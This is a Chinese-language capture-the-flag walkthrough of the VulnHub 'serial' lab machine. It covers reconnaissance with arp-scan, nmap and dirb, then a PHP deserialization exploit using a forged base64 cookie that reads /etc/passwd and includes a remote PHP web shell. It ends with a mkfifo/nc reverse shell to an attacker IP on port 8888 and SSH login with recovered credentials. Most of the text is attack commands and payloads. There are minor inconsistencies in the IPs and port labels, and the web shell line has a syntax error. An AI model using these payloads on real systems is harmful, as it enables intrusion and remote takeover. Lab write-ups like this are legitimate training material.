靶机下载地址
https://download.vulnhub.com/serial/serial.zip
主机发现
arp-scan -l
端口扫描
nmap 192.168.229.131 -A
根据对⽐可知serial的⼀个ip地址为192.168.47.143
该靶机开启了22端⼝和80端⼝
对⽹站进⾏⼀个访问,⼤概意思为这是对新的cookie处理程序的测试版暂且搁置
目录扫描
dirb http://192.168.229.131
访问网站
发现⼀个zip⽂件
解压查看
index.php⽂件中包含user.class.php⽂件且对cookie中的user参数进⾏了序列化和base64编码
user.class.php⽂件包含log.class.php⽂件且定义了Welcome和User两个类并调⽤了
log.class.php⽂件中的handler函数
log.class.php定义了Log类和成员变量type_log且handler函数对变量进⾏了⽂件包含和输出
没有得到有用的信息
访问原⽹站,⽤Burpsuite抓包查看cookie
发现其为base64编码,对其进行解码
O:4:"User":2:{s:10:".User.name";s:3:"sk4";s:9:".User.wel";O:7:"Welcome":0:{}}7.
构造payload,尝试读取passwd⽂件
O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:
8:"type_log";s:11:"/etc/passwd";}}
使⽤base64编码
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHd
lbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIj
t9fQ==
获取shell
在本机写一个txt
<?php system($_GET['cmd'];?>
在创建一个木马文件
<?php
class Log {
private $type_log = "http://本机ip/1.txt";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
访问php文件
在kali开启一个监听
反弹shell
?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.229.132
+8888+>/tmp/f
反弹成功
提权
查看系统版本,内核版本
切换到根目录
cd /
ls
查看文件
cat credentials.txt.bak
使用远程连接使用之前扫出来的21端口
ssh sk4@192.168.229.131